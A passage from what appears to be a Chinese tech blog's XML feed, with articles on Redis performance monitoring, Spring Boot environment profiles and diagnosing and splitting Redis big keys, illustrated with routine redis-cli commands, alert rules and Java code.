class="string">&gt;</span> <span class="number">0.8</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">5m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;Redis连接数超过80%&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">RedisCacheHitRateLow</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">rate(redis_keyspace_hits_total[5m])</span> <span class="string">/</span> <span class="string">(rate(redis_keyspace_hits_total[5m])</span> <span class="string">+</span> <span class="string">rate(redis_keyspace_misses_total[5m]))</span> <span class="string">&lt;</span> <span class="number">0.9</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">10m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;Redis缓存命中率低于90%&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">RedisReplicationLag</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">redis_master_link_up</span> <span class="string">==</span> <span class="number">1</span> <span class="string">and</span> <span class="string">redis_master_last_io_seconds_ago</span> <span class="string">&gt;</span> <span class="number">10</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">5m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;Redis复制延迟超过10秒&quot;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-4-自定义监控"><a href="#7-4-自定义监控" class="headerlink" title="7.4 自定义监控"></a>7.4 自定义监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisMetrics</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MeterRegistry meterRegistry;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 60000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">collectMetrics</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">Properties</span> <span class="variable">info</span> <span class="operator">=</span> redis.execute((RedisCallback&lt;Properties&gt;) </span><br><span class="line">            connection -&gt; connection.serverCommands().info(<span class="string">&quot;stats&quot;</span>));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (info != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">hits</span> <span class="operator">=</span> info.getProperty(<span class="string">&quot;keyspace_hits&quot;</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">misses</span> <span class="operator">=</span> info.getProperty(<span class="string">&quot;keyspace_misses&quot;</span>);</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (hits != <span class="literal">null</span> &amp;&amp; misses != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="type">long</span> <span class="variable">total</span> <span class="operator">=</span> Long.parseLong(hits) + Long.parseLong(misses);</span><br><span class="line">                <span class="type">double</span> <span class="variable">hitRate</span> <span class="operator">=</span> total &gt; <span class="number">0</span> ? Double.parseDouble(hits) / total : <span class="number">0</span>;</span><br><span class="line">                meterRegistry.gauge(<span class="string">&quot;redis.cache.hit.rate&quot;</span>, hitRate);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="八、性能排查流程"><a href="#八、性能排查流程" class="headerlink" title="八、性能排查流程"></a>八、性能排查流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">发现性能问题</span><br><span class="line">    │</span><br><span class="line">    ├── 查看QPS和延迟</span><br><span class="line">    │       ├── QPS低 → 检查应用连接池</span><br><span class="line">    │       └── QPS正常但延迟高 → 继续</span><br><span class="line">    │</span><br><span class="line">    ├── 查看慢查询日志</span><br><span class="line">    │       ├── 有慢查询 → 优化命令</span><br><span class="line">    │       └── 无慢查询 → 继续</span><br><span class="line">    │</span><br><span class="line">    ├── 查看内存使用</span><br><span class="line">    │       ├── 内存高 → 优化内存/淘汰策略</span><br><span class="line">    │       └── 内存正常 → 继续</span><br><span class="line">    │</span><br><span class="line">    ├── 查看持久化状态</span><br><span class="line">    │       ├── fork耗时高 → 优化fork</span><br><span class="line">    │       └── 正常 → 继续</span><br><span class="line">    │</span><br><span class="line">    ├── 查看网络</span><br><span class="line">    │       ├── 带宽饱和 → 优化网络/压缩</span><br><span class="line">    │       └── 正常 → 继续</span><br><span class="line">    │</span><br><span class="line">    └── 查看系统资源</span><br><span class="line">            ├── CPU高 → 优化命令复杂度</span><br><span class="line">            ├── 磁盘IO高 → 优化持久化</span><br><span class="line">            └── 网络延迟高 → 优化网络</span><br></pre></td></tr></table></figure><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>优化方向</th><th>具体措施</th><th>效果</th></tr></thead><tbody><tr><td>命令优化</td><td>避免慢查询，使用批量命令</td><td>显著提升</td></tr><tr><td>内存优化</td><td>ziplist编码，Hash存储对象</td><td>节省内存</td></tr><tr><td>连接优化</td><td>连接池，避免频繁创建</td><td>提升吞吐</td></tr><tr><td>持久化优化</td><td>合理配置RDB/AOF</td><td>减少阻塞</td></tr><tr><td>系统优化</td><td>内核参数，关闭THP</td><td>稳定性能</td></tr></tbody></table><p>Redis性能优化的核心原则：</p><ol><li><strong>预防为主</strong>：设计时考虑性能</li><li><strong>监控先行</strong>：建立完善的监控体系</li><li><strong>渐进优化</strong>：小步快跑，验证效果</li><li><strong>全局视角</strong>：从应用到系统全面考虑</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 配置分环境的标准做法</title>
      <link href="//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/"/>
      <url>//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-配置分环境的标准做法"><a href="#Spring-Boot-配置分环境的标准做法" class="headerlink" title="Spring Boot 配置分环境的标准做法"></a>Spring Boot 配置分环境的标准做法</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis大Key问题诊断</title>
      <link href="//redis-bigkey-diagnosis/"/>
      <url>//redis-bigkey-diagnosis/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis大Key问题诊断"><a href="#Redis大Key问题诊断" class="headerlink" title="Redis大Key问题诊断"></a>Redis大Key问题诊断</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、什么是大Key"><a href="#一、什么是大Key" class="headerlink" title="一、什么是大Key"></a>一、什么是大Key</h2><p>#</p><h2 id="1-1-大Key的定义"><a href="#1-1-大Key的定义" class="headerlink" title="1.1 大Key的定义"></a>1.1 大Key的定义</h2><table><thead><tr><th>数据类型</th><th>大Key标准</th></tr></thead><tbody><tr><td>String</td><td>value &gt; 10KB</td></tr><tr><td>Hash</td><td>元素数 &gt; 5000 或 总大小 &gt; 1MB</td></tr><tr><td>List</td><td>元素数 &gt; 5000 或 总大小 &gt; 1MB</td></tr><tr><td>Set</td><td>元素数 &gt; 5000 或 总大小 &gt; 1MB</td></tr><tr><td>ZSet</td><td>元素数 &gt; 5000 或 总大小 &gt; 1MB</td></tr></tbody></table><p><strong>注意</strong>：具体标准需要根据业务场景和Redis性能调整。</p><p>#</p><h2 id="1-2-大Key的危害"><a href="#1-2-大Key的危害" class="headerlink" title="1.2 大Key的危害"></a>1.2 大Key的危害</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 阻塞Redis（单线程）</span><br><span class="line">   DEL bigkey          → 阻塞数秒甚至数十秒</span><br><span class="line">   HGETALL bighash     → 返回大量数据，阻塞</span><br><span class="line">   </span><br><span class="line">2. 内存不均衡（Cluster）</span><br><span class="line">   某个节点有大Key    → 该节点内存使用远高于其他节点</span><br><span class="line">   </span><br><span class="line">3. 网络拥塞</span><br><span class="line">   传输大Key          → 带宽占用高，其他请求延迟增加</span><br><span class="line">   </span><br><span class="line">4. 主从复制延迟</span><br><span class="line">   同步大Key          → 主从复制长时间阻塞</span><br></pre></td></tr></table></figure><h2 id="二、大Key识别"><a href="#二、大Key识别" class="headerlink" title="二、大Key识别"></a>二、大Key识别</h2><p>#</p><h2 id="2-1-redis-cli-–bigkeys"><a href="#2-1-redis-cli-–bigkeys" class="headerlink" title="2.1 redis-cli –bigkeys"></a>2.1 redis-cli –bigkeys</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 扫描大Key（在线执行，会消耗一定性能）</span></span><br><span class="line">redis-cli --bigkeys</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出示例：</span></span><br><span class="line"><span class="comment"># -------- summary -------</span></span><br><span class="line"><span class="comment"># Sampled 502 keys in the keyspace!</span></span><br><span class="line"><span class="comment"># Total key length in bytes is 3452 (avg len 6.88)</span></span><br><span class="line"><span class="comment"># Biggest string found &#x27;user:10001&#x27; has 1048576 bytes</span></span><br><span class="line"><span class="comment"># Biggest hash found &#x27;config:app&#x27; has 5020 fields</span></span><br><span class="line"><span class="comment"># Biggest list found &#x27;logs:2024&#x27; has 85432 items</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>在线扫描，不会阻塞</li><li>使用SCAN渐进遍历</li><li>只能找到每种类型的最大key</li></ul><p>#</p><h2 id="2-2-MEMORY命令"><a href="#2-2-MEMORY命令" class="headerlink" title="2.2 MEMORY命令"></a>2.2 MEMORY命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看单个key的内存使用</span></span><br><span class="line">redis-cli MEMORY USAGE mykey</span><br><span class="line"><span class="comment"># (integer) 1048576</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看key的内存使用详情</span></span><br><span class="line">redis-cli MEMORY USAGE mykey SAMPLES 50</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看key的编码和序列化长度</span></span><br><span class="line">redis-cli DEBUG OBJECT mykey</span><br><span class="line"><span class="comment"># Value at:0x7f... refcount:1 encoding:raw serializedlength:1048576 lru:... lru_seconds_idle:0</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-rdbtools分析"><a href="#2-3-rdbtools分析" class="headerlink" title="2.3 rdbtools分析"></a>2.3 rdbtools分析</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 安装rdbtools</span></span><br><span class="line">pip install rdbtools python-lzf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 分析RDB文件</span></span><br><span class="line">rdb -c memory dump.rdb &gt; memory.csv</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看内存占用最大的key</span></span><br><span class="line"><span class="built_in">sort</span> -t, -k4 -nr memory.csv | <span class="built_in">head</span> -20</span><br><span class="line"></span><br><span class="line"><span class="comment"># CSV格式：</span></span><br><span class="line"><span class="comment"># database,type,key,size_in_bytes,encoding,num_elements,len_largest_element</span></span><br><span class="line"><span class="comment"># 0,string,user:10001,1048576,string,1,1048576</span></span><br><span class="line"><span class="comment"># 0,hash,config:app,524288,hashtable,5020,1024</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-自定义扫描脚本"><a href="#2-4-自定义扫描脚本" class="headerlink" title="2.4 自定义扫描脚本"></a>2.4 自定义扫描脚本</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment"># find_bigkeys.sh</span></span><br><span class="line"></span><br><span class="line">THRESHOLD=10240  <span class="comment"># 10KB</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;Scanning for keys larger than <span class="variable">$&#123;THRESHOLD&#125;</span> bytes...&quot;</span></span><br><span class="line"></span><br><span class="line">redis-cli --scan | <span class="keyword">while</span> <span class="built_in">read</span> key; <span class="keyword">do</span></span><br><span class="line">    size=$(redis-cli MEMORY USAGE <span class="string">&quot;<span class="variable">$key</span>&quot;</span> 2&gt;/dev/null)</span><br><span class="line">    <span class="keyword">if</span> [ -n <span class="string">&quot;<span class="variable">$size</span>&quot;</span> ] &amp;&amp; [ <span class="string">&quot;<span class="variable">$size</span>&quot;</span> -gt <span class="string">&quot;<span class="variable">$THRESHOLD</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">type</span>=$(redis-cli TYPE <span class="string">&quot;<span class="variable">$key</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;Key: <span class="variable">$key</span>, Type: <span class="variable">$type</span>, Size: <span class="variable">$size</span> bytes&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">done</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-Java识别大Key"><a href="#2-5-Java识别大Key" class="headerlink" title="2.5 Java识别大Key"></a>2.5 Java识别大Key</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BigKeyScanner</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">scanBigKeys</span><span class="params">(<span class="type">int</span> thresholdKb)</span> &#123;</span><br><span class="line">        <span class="type">ScanOptions</span> <span class="variable">options</span> <span class="operator">=</span> ScanOptions.scanOptions()</span><br><span class="line">            .match(<span class="string">&quot;*&quot;</span>)</span><br><span class="line">            .count(<span class="number">100</span>)</span><br><span class="line">            .build();</span><br><span class="line">        </span><br><span class="line">        Cursor&lt;<span class="type">byte</span>[]&gt; cursor = redis.executeWithStickyConnection(</span><br><span class="line">            connection -&gt; connection.scan(options)</span><br><span class="line">        );</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">while</span> (cursor.hasNext()) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(cursor.next());</span><br><span class="line">            <span class="type">Long</span> <span class="variable">size</span> <span class="operator">=</span> redis.execute((RedisCallback&lt;Long&gt;) connection -&gt;</span><br><span class="line">                connection.memoryCommands().memoryUsage(key.getBytes())</span><br><span class="line">            );</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (size != <span class="literal">null</span> &amp;&amp; size &gt; thresholdKb * <span class="number">1024L</span>) &#123;</span><br><span class="line">                <span class="type">String</span> <span class="variable">type</span> <span class="operator">=</span> redis.type(key);</span><br><span class="line">                System.out.printf(<span class="string">&quot;BigKey found: key=%s, type=%s, size=%d bytes%n&quot;</span>, </span><br><span class="line">                    key, type, size);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、大Key分析"><a href="#三、大Key分析" class="headerlink" title="三、大Key分析"></a>三、大Key分析</h2><p>#</p><h2 id="3-1-分析Hash大Key"><a href="#3-1-分析Hash大Key" class="headerlink" title="3.1 分析Hash大Key"></a>3.1 分析Hash大Key</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看Hash的字段数量</span></span><br><span class="line">redis-cli HLEN bighash</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看Hash的编码（ziplist vs hashtable）</span></span><br><span class="line">redis-cli DEBUG OBJECT bighash</span><br><span class="line"><span class="comment"># encoding:ziplist 或 encoding:hashtable</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看字段大小分布</span></span><br><span class="line">redis-cli HKEYS bighash | <span class="built_in">head</span> -10</span><br><span class="line">redis-cli HGET bighash field1 | <span class="built_in">wc</span> -c</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-分析List大Key"><a href="#3-2-分析List大Key" class="headerlink" title="3.2 分析List大Key"></a>3.2 分析List大Key</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看List长度</span></span><br><span class="line">redis-cli LLEN biglist</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看部分元素</span></span><br><span class="line">redis-cli LRANGE biglist 0 10</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看元素大小</span></span><br><span class="line">redis-cli LINDEX biglist 0 | <span class="built_in">wc</span> -c</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-分析Set-ZSet大Key"><a href="#3-3-分析Set-ZSet大Key" class="headerlink" title="3.3 分析Set/ZSet大Key"></a>3.3 分析Set/ZSet大Key</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看元素数量</span></span><br><span class="line">redis-cli SCARD bigset</span><br><span class="line">redis-cli ZCARD bigzset</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看编码</span></span><br><span class="line">redis-cli DEBUG OBJECT bigset</span><br><span class="line"><span class="comment"># encoding:intset 或 encoding:hashtable</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-分析String大Key"><a href="#3-4-分析String大Key" class="headerlink" title="3.4 分析String大Key"></a>3.4 分析String大Key</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看大小</span></span><br><span class="line">redis-cli STRLEN bigstring</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看编码</span></span><br><span class="line">redis-cli DEBUG OBJECT bigstring</span><br><span class="line"><span class="comment"># encoding:raw 或 encoding:embstr</span></span><br></pre></td></tr></table></figure><h2 id="四、大Key治理方案"><a href="#四、大Key治理方案" class="headerlink" title="四、大Key治理方案"></a>四、大Key治理方案</h2><p>#</p><h2 id="4-1-String大Key拆分"><a href="#4-1-String大Key拆分" class="headerlink" title="4.1 String大Key拆分"></a>4.1 String大Key拆分</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 原始：一个String存储大JSON</span></span><br><span class="line"><span class="comment">// key: user:1001, value: 1MB JSON</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 拆分：使用Hash存储</span></span><br><span class="line"><span class="comment">// key: user:1001, fields: 多个小字段</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BigKeySplitService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 将大String拆分为Hash</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">splitBigStringToHash</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">bigJson</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        <span class="keyword">if</span> (bigJson == <span class="literal">null</span>) <span class="keyword">return</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> JSON.parseObject(bigJson, User.class);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 拆分为Hash字段</span></span><br><span class="line">        Map&lt;String, String&gt; hash = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        hash.put(<span class="string">&quot;name&quot;</span>, user.getName());</span><br><span class="line">        hash.put(<span class="string">&quot;email&quot;</span>, user.getEmail());</span><br><span class="line">        hash.put(<span class="string">&quot;phone&quot;</span>, user.getPhone());</span><br><span class="line">        <span class="comment">// ... 其他字段</span></span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">hashKey</span> <span class="operator">=</span> key.replace(<span class="string">&quot;user:&quot;</span>, <span class="string">&quot;user:hash:&quot;</span>);</span><br><span class="line">        redis.opsForHash().putAll(hashKey, hash);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 删除原大key</span></span><br><span class="line">        redis.delete(key);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-Hash大Key拆分"><a href="#4-2-Hash大Key拆分" class="headerlink" title="4.2 Hash大Key拆分"></a>4.2 Hash大Key拆分</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 原始：一个Hash有10000个字段</span></span><br><span class="line"><span class="comment">// key: article:tags, fields: 10000个文章ID -&gt; 标签</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 拆分：按范围分片</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HashShardService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">SHARD_COUNT</span> <span class="operator">=</span> <span class="number">10</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addTag</span><span class="params">(Long articleId, String tag)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> (<span class="type">int</span>) (articleId % SHARD_COUNT);</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;article:tags:&quot;</span> + shard;</span><br><span class="line">        redis.opsForHash().put(key, String.valueOf(articleId), tag);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getTag</span><span class="params">(Long articleId)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> (<span class="type">int</span>) (articleId % SHARD_COUNT);</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;article:tags:&quot;</span> + shard;</span><br><span class="line">        <span class="keyword">return</span> (String) redis.opsForHash().get(key, String.valueOf(articleId));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-List大Key拆分"><a href="#4-3-List大Key拆分" class="headerlink" title="4.3 List大Key拆分"></a>4.3 List大Key拆分</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 原始：一个List有100000个元素</span></span><br><span class="line"><span class="comment">// key: logs:2024</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 拆分：按时间分片</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ListShardService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addLog</span><span class="params">(String log)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;logs:&quot;</span> + LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE);</span><br><span class="line">        redis.opsForList().leftPush(key, log);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 每个List最多保留10000条</span></span><br><span class="line">        redis.opsForList().trim(key, <span class="number">0</span>, <span class="number">9999</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 设置过期时间</span></span><br><span class="line">        redis.expire(key, <span class="number">30</span>, TimeUnit.DAYS);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-Set-ZSet大Key拆分"><a href="#4-4-Set-ZSet大Key拆分" class="headerlink" title="4.4 Set/ZSet大Key拆分"></a>4.4 Set/ZSet大Key拆分</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 原始：一个ZSet有100000个元素</span></span><br><span class="line"><span class="comment">// key: leaderboard:global</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 拆分：按范围分片</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ZSetShardService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">SHARD_COUNT</span> <span class="operator">=</span> <span class="number">10</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addScore</span><span class="params">(Long userId, <span class="type">double</span> score)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> (<span class="type">int</span>) (userId % SHARD_COUNT);</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;leaderboard:&quot;</span> + shard;</span><br><span class="line">        redis.opsForZSet().add(key, String.valueOf(userId), score);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取全局前10需要合并多个ZSet</span></span><br><span class="line">    <span class="keyword">public</span> 